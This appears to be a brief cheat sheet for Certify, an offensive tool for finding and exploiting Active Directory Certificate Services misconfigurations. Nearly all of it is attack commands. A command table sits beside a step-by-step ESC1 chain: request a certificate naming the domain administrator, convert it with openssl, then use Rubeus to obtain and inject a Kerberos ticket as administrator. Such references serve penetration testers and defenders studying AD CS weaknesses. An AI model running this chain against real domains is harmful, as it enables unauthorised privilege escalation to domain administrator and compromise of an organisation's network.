Certify
AD CS misconfiguration enumeration and exploitation.
Quick Start
Certify.exe find /vulnerable
Certify.exe find
Certify.exe request /ca:CA-SERVER\CA-NAME /template:VulnerableTemplate /altname:administrator
Core Commands
| Command | Purpose |
|---------|---------|
| find | Enumerate all cert templates |
| find /vulnerable | Show ESC1-ESC8 misconfigs |
| find /enrolleeSuppliesSubject | ESC1 candidates |
| request /ca: /template: | Request a certificate |
| request /altname:<user> | ESC1 — request with alternate UPN |
| download /ca: /id:<n> | Download pending certificate |
ESC1 Full Attack Chain
1. Certify.exe find /vulnerable
2. Certify.exe request /ca:CA\CA-NAME /template:Template /altname:domain\administrator
3. openssl pkcs12 -in cert.pem -keyex -export -out cert.pfx
4. Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /password:pass /ptt
